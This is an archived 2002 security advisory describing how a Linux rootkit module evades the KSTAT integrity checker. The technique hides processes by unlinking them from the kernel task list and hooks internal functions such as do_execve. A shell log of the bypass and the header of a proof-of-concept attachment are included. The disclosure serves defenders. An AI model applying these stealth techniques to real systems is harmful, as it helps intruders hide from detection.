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TUCoPS :: Linux :: General :: lnx5673.htm

KSTAT bypass



9th Sep 2002 [SBWID-5673]
COMMAND

	
		KSTAT (and maybe others) bypass
	
	

SYSTEMS AFFECTED

	
		?
	
	

PROBLEM

	
		Dark Angel [dark0@angelfire.com] says :
		

		Is possible to hide processes to kstat removing theirs structs from  the
		kernel's task_struct list. Is also possible to bypass kstat's checks  on
		syscalls: if you modify a sub-function instead of the call (for  example
		do_execve instad of sys_execve) the effects is the same, but  for  kstat
		is all okay:
		

		Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat

		 686	  403	  0	  0	  kstat

		Shoikan:~/Phantasmagoria# ./kstat -S             

		Probing System Calls FingerPrints... No System Call Modified!

		Shoikan:~/Phantasmagoria# insmod Phantasmagoria.o

		Shoikan:~/Phantasmagoria# ./Heider 403(the current shell pid) HIDE

		Hiding successfull

		Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat

		Shoikan:~/Phantasmagoria# ./kstat -S

		Probing System Calls FingerPrints... No System Call Modified!

		Shoikan:~/Phantasmagoria# 

		

		Attached there is an english translation + proof of concept code of  the
		original paper published on www.s0ftpj.org
		

		Content-Type: application/x-gzip; name="Phantasmagoria.tgz"

		Content-Length: 17658

		Content-Transfer-Encoding: base64

		

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